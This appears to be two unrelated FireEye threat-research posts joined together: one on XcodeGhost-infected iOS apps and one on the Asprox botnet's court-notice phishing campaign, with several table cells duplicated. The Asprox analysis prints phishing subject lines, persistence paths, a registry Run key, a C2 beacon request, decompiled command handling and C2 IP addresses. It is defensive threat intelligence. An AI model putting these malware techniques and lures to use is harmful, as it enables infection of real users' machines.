Just over a month ago, iOS users were warned of the threat to their devices by the XcodeGhost malware. Apple quickly reacted, taking down infected apps from the App Store and releasing new security features to stop malicious activities. Through continuous monitoring of our customers’ networks, FireEye researchers have found that, despite the quick response, the threat of XcodeGhost has maintained persistence and been modified.

More specifically, we found that:

• XcodeGhost has entered into U.S. enterprises and is a persistent security risk
• Its botnet is still partially active
• A variant we call XcodeGhost S reveals more advanced samples went undetected

After monitoring XcodeGhost related activity for four weeks, we observed 210 enterprises with XcodeGhost-infected applications running inside their networks, generating more than 28,000 attempts to connect to the XcodeGhost Command and Control (CnC) servers -- which, while not under attacker control, are vulnerable to hijacking by threat actors. Figure 1 shows the top five countries XcodeGhost attempted to callback to during this time.

Figure 1. Top five countries XcodeGhost attempted to callback in a four-week span

The 210 enterprises we detected with XcodeGhost infections represent a wide range of industries. Figure 2 shows the top five industries affected by XcodeGhost, sorted by the percentage of callback attempts to the XcodeGhost CnC servers from inside their networks:

Figure 2: Top five industries affected based on callback attempts

Researchers have demonstrated how XcodeGhost CnC traffic can be hijacked to:

• Distribute apps outside the App Store
• Force browse to URL
• Aggressively promote any app in the App Store by launching the download page directly
• Pop-up phishing windows

Figure 3 shows the top 20 most active infected apps among 152 apps, based on data from our DTI cloud:

Figure 3: Top 20 infected apps

Although most vendors have already updated their apps on App Store, this chart indicates many users are actively using older, infected versions of various apps in the field. The version distribution varies among apps. For example, the most popular Apps 网易云音乐 and WeChat-infected versions are listed in Figure 4.

App Name	Version	Incident Count (in 3 weeks)
WeChat	6.2.5.19	2963
网易云音乐 Music 163	2.8.2	3084
	2.8.3	2664
	2.8.1	1227

Figure 4: Sample infected app versions

The infected iPhones are running iOS versions from 6.x.x to 9.x.x as illustrated by Figure 5. It is interesting to note that nearly 70% of the victims within our customer base remain on older iOS versions. We encourage them to update to the latest version iOS 9 as quickly as possible.

Figure 5: Distribution of iOS versions running infected apps

Some enterprises have taken steps to block the XcodeGhost DNS query within their network to cut off the communication between employees’ iPhones and the attackers’ CnC servers to protect them from being hijacked. However, until these employees update their devices and apps, they are still vulnerable to potential hijacking of the XcodeGhost CnC traffic -- particularly when outside their corporate networks.

Given the number of infected devices detected within a short period among so many U.S enterprises, we believe that XcodeGhost continues to be an ongoing threat for enterprises.

XcodeGhost Modified to Exploit iOS 9

We have worked with Apple to have all XcodeGhost and XcodeGhost S (described below) samples we have detected removed from the App Store.

XcodeGhost is planted in different versions of Xcode, including Xcode 7 (released for iOS 9 development). In the latest version, which we call XcodeGhost S, features have been added to infect iOS 9 and bypass static detection.

According to [1], Apple introduced the “NSAppTransportSecurity” approach for iOS 9 to improve client-server connection security. By default, only secure connections (https with specific ciphers) are allowed on iOS 9. Due to this limitation, previous versions of XcodeGhost would fail to connect with the CnC server by using http. However, Apple also allows developers to add exceptions (“NSAllowsArbitraryLoads”) in the app’s Info.plist to allow http connection. As shown in Figure 6, the XcodeGhost S sample reads the setting of “NSAllowsArbitraryLoads” under the “NSAppTransportSecurity” entry in the app’s Info.plist and picks different CnC servers (http/https) based on this setting.

Figure 6: iOS 9 adoption in XcodeGhost S

Further, the CnC domain strings are concatenated character by character to bypass the static detection in XcodeGhost S, such behavior is shown in Figure 7.

Figure 7: Construct the CnC domain character by character

The FireEye iOS dynamic analysis platform has successfully detected an app  (“自由邦”)  [2] infected by XcodeGhost S and this app has been taken down from App Store in cooperation with Apple. It is a shopping app for travellers and is available on both U.S. and CN App Stores. As shown in Figure 8, the infected app’s version is 2.6.6, updated on Sep. 15.

Figure 8: An App Store app is infected with XcodeGhost S

Enterprise Protection

FireEye MTP has detected and assisted in Apple’s takedown of thousands of XcodeGhost-infected iOS applications. We advise all organizations to notify their employees of the threat of XcodeGhost and other malicious iOS apps. Employees should make sure that they update all apps to the latest version. For the apps Apple has removed, users should remove the apps and switch to other uninfected apps on App Store.

FireEye MTP management customers have full visibility into which mobile devices are infected in their deployment base. We recommend that customers immediately review MTP alerts, locate infected devices/users, and quarantine the devices until the infected apps are removed. FireEye NX customers are advised to immediately review alert logs for activities related to XcodeGhost communications.

[1] https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/
[2] https://itunes.apple.com/us/app/id915233927
[3] http://drops.wooyun.org/papers/9024
[4] https://itunes.apple.com/us/app/pdf-reader-annotate-scan-sign/id368377690?mt=8
[5] https://itunes.apple.com/us/app/winzip-leading-zip-unzip-cloud/id500637987?mt=8
[7] https://www.fireeye.com/blog/threat-research/2015/08/ios_masque_attackwe.html
[8] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html
[9] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html
[10] https://www.fireeye.com/blog/threat-research/2015/06/three_new_masqueatt.html

Executive Summary

FireEye Labs has been tracking a recent spike in malicious email detections that we attribute to a campaign that began in 2013. While malicious email campaigns are nothing new, this one is significant in that we are observing mass-targeting attackers adopting the malware evasion methods pioneered by the stealthier APT attackers. And this is certainly a high-volume business, with anywhere from a few hundred to ten thousand malicious emails sent daily – usually distributing between 50 and 500,000 emails per outbreak.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, FireEye Labs discovered that each and every major spike in email blasts brought a change in the attributes of their attack. These changes have made it difficult for anti-virus, IPS, firewalls and file-based sandboxes to keep up with the malware and effectively protect endpoints from infection. Worse, if past is prologue, we can expect other malicious, mass-targeting email operators to adopt this approach to bypass traditional defenses.

This blog will cover the trends of the campaign, as well as provide a short technical analysis of the payload.

Campaign Details

Figure 1: Attack Architecture

The campaign first appeared in late December of 2013 and has since been seen in fairly cyclical patterns each month. It appears that the threat actors behind this campaign are fairly responsive to published blogs and reports surrounding their malware techniques, tweaking their malware accordingly to continuously try and evade detection with success.

In late 2013, malware labeled as Kuluoz, the specific spam component of the Asprox botnet, was discovered to be the main payload of what would become the first malicious email campaign. Since then, the threat actors have continuously tweaked the malware by changing its hardcoded strings, remote access commands, and encryption keys.

Previously, Asprox malicious email campaigns targeted various industries in multiple countries and included a URL link in the body. The current version of Asprox includes a simple zipped email attachment that contains the malicious payload “exe.” Figure 2 below represents a sample message while Figure 3 is an example of the various court-related email headers used in the campaign.

Figure 2 Email Sample

Figure 3 Email Headers

Some of the recurring campaign that Asporox used includes themes focused around airline tickets, postal services and license keys. In recent months however, the court notice and court request-themed emails appear to be the most successful phishing scheme theme for the campaign.

The following list contains examples of email subject variations, specifically for the court notice theme:

• Urgent court notice
• Notice to Appear in Court
• Notice of appearance in court
• Warrant to appear
• Pretrial notice
• Court hearing notice
• Hearing of your case
• Mandatory court appearance

The campaign appeared to increase in volume during the month of May. Figure 4 shows the increase in activity of Asprox compared to other crimewares towards the end of May specifically. Figure 5 highlights the regular monthly pattern of overall malicious emails. In comparison, Figure 6 is a compilation of all the hits from our analytics.

Figure 4 Worldwide Crimeware Activity

Figure 5 Overall Asprox Botnet tracking

Figure 6 Asprox Botnet Activity Unique Samples

These malicious email campaign spikes revealed that FireEye appliances, with the support of DTI cloud, were able to provide a full picture of the campaign (blue), while only a fraction of the emailed malware samples could be detected by various Anti-Virus vendors (yellow).

Figure 7 FireEye Detection vs. Anti-Virus Detection

By the end of May, we observed a big spike on the unique binaries associated with this malicious activity. Compared to the previous days where malware authors used just 10-40 unique MD5s or less per day, we saw about 6400 unique MD5s sent out on May 29^th. That is a 16,000% increase in unique MD5s over the usual malicious email campaign we’d observed. Compared to other recent email campaigns, Asprox uses a volume of unique samples for its campaign.

Figure 8 Asprox Campaign Unique Sample Tracking

Figure 9 Geographical Distribution of the Campaign

Figure 10 Distribution of Industries Affected

Brief Technical Analysis

Figure 11 Attack Architecture

Infiltration

The infiltration phase consists of the victim receiving a phishing email with a zipped attachment containing the malware payload disguised as an Office document. Figure 11 is an example of one of the more recent phishing attempts.

Figure 12 Malware Payload Icon

Evasion

Once the victim executes the malicious payload, it begins to start an svchost.exe process and then injects its code into the newly created process. Once loaded into memory, the injected code is then unpacked as a DLL. Notice that Asprox uses a hardcoded mutex that can be found in its strings.

1. Typical Mutex Generation
   1. "2GVWNQJz1"
2. Create svchost.exe process
3. Code injection into svchost.exe

Entrenchment

Once the dll is running in memory it then creates a copy of itself in the following location:

%LOCALAPPDATA%/[8 CHARACTERS].EXE

Example filename:

%LOCALAPPDATA%\lwftkkea.exe

It’s important to note that the process will first check itself in the startup registry key, so a compromised endpoint will have the following registry populated with the executable:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Exfiltration/Communication

The malware uses various encryption techniques to communicate with the command and control (C2) nodes. The communication uses an RSA (i.e. PROV_RSA_FULL) encrypted SSL session using the Microsoft Base Cryptographic Provider while the payloads themselves are RC4 encrypted. Each sample uses a default hardcoded public key shown below.

Default Public Key

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I'

Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw

jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U

00SNFZ88nyVv33z9+wIDAQAB

-----END PUBLIC KEY-----

First Communication Packet

Bot ID RC4 Encrypted URL

POST /5DBA62A2529A51B506D197253469FA745E7634B4FC

HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: <host useragent>

Host: <host ip>:443

Content-Length: 319

Cache-Control: no-cache

<knock><id>5DBA62A247BC1F72B98B545736DEA65A</id><group>0206s</group><src>3</src><transport>0</transport><time>1881051166</time><version>1537</version><status>0</status><debug>none<debug></knock>

C2 Commands

In comparison to the campaign at the end of 2013, the current campaign uses one of the newer versions of the Asprox family where threat actors added the command “ear.”

if ( wcsicmp(Str1, L"idl") )

{

if ( wcsicmp(Str1, L"run") )

{

if ( wcsicmp(Str1, L"rem") )

{

if ( wcsicmp(Str1, L"ear")

{

if ( wcsicmp(Str1, L"rdl") )

{

if ( wcsicmp(Str1, L"red") )

{

if ( !wcsicmp(Str1, L"upd") )

C2 commands	Description
idl idl	This commands idles the process to wait for commands This commands idles the process to wait for commands
run run	Download from a partner site and execute from a specified path Download from a partner site and execute from a specified path
rem rem	Remove itself Remove itself
ear ear	Download another executable and create autorun entry Download another executable and create autorun entry
rdl rdl	Download, inject into svchost, and run Download, inject into svchost, and run
upd upd	Download and update Download and update
red red	Modify the registry Modify the registry

C2 Campaign Characteristics

For the two major malicious email campaign spikes in April and May of 2014, separate sets of C2 nodes were used for each major spike.

April	May-June
94.23.24.58 94.23.24.58	192.69.192.178 192.69.192.178
94.23.43.184 94.23.43.184	213.21.158.141 213.21.158.141
1.234.53.27 1.234.53.27	213.251.150.3 213.251.150.3
84.124.94.52 84.124.94.52	27.54.87.235 27.54.87.235
133.242.134.76 133.242.134.76	61.19.32.24 61.19.32.24
173.45.78.226 173.45.78.226	69.64.56.232 69.64.56.232
37.59.9.98 37.59.9.98	72.167.15.89 72.167.15.89
188.93.74.192 188.93.74.192	84.234.71.214 84.234.71.214
187.16.250.214 187.16.250.214	89.22.96.113 89.22.96.113
85.214.220.78 85.214.220.78	89.232.63.147 89.232.63.147
	91.121.20.71 91.121.20.71
	91.212.253.253 91.212.253.253
	91.228.77.15 91.228.77.15

Conclusion

The data reveals that each of the Asprox botnet’s malicious email campaigns changes its method of luring victims and C2 domains, as well as the technical details on monthly intervals. And, with each new improvement, it becomes more difficult for traditional security methods to detect certain types of malware.

Acknowledgements:

Nart Villeneuve, Jessa dela Torre, and David Sancho. Asprox Reborn. Trend Micro. 2013. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf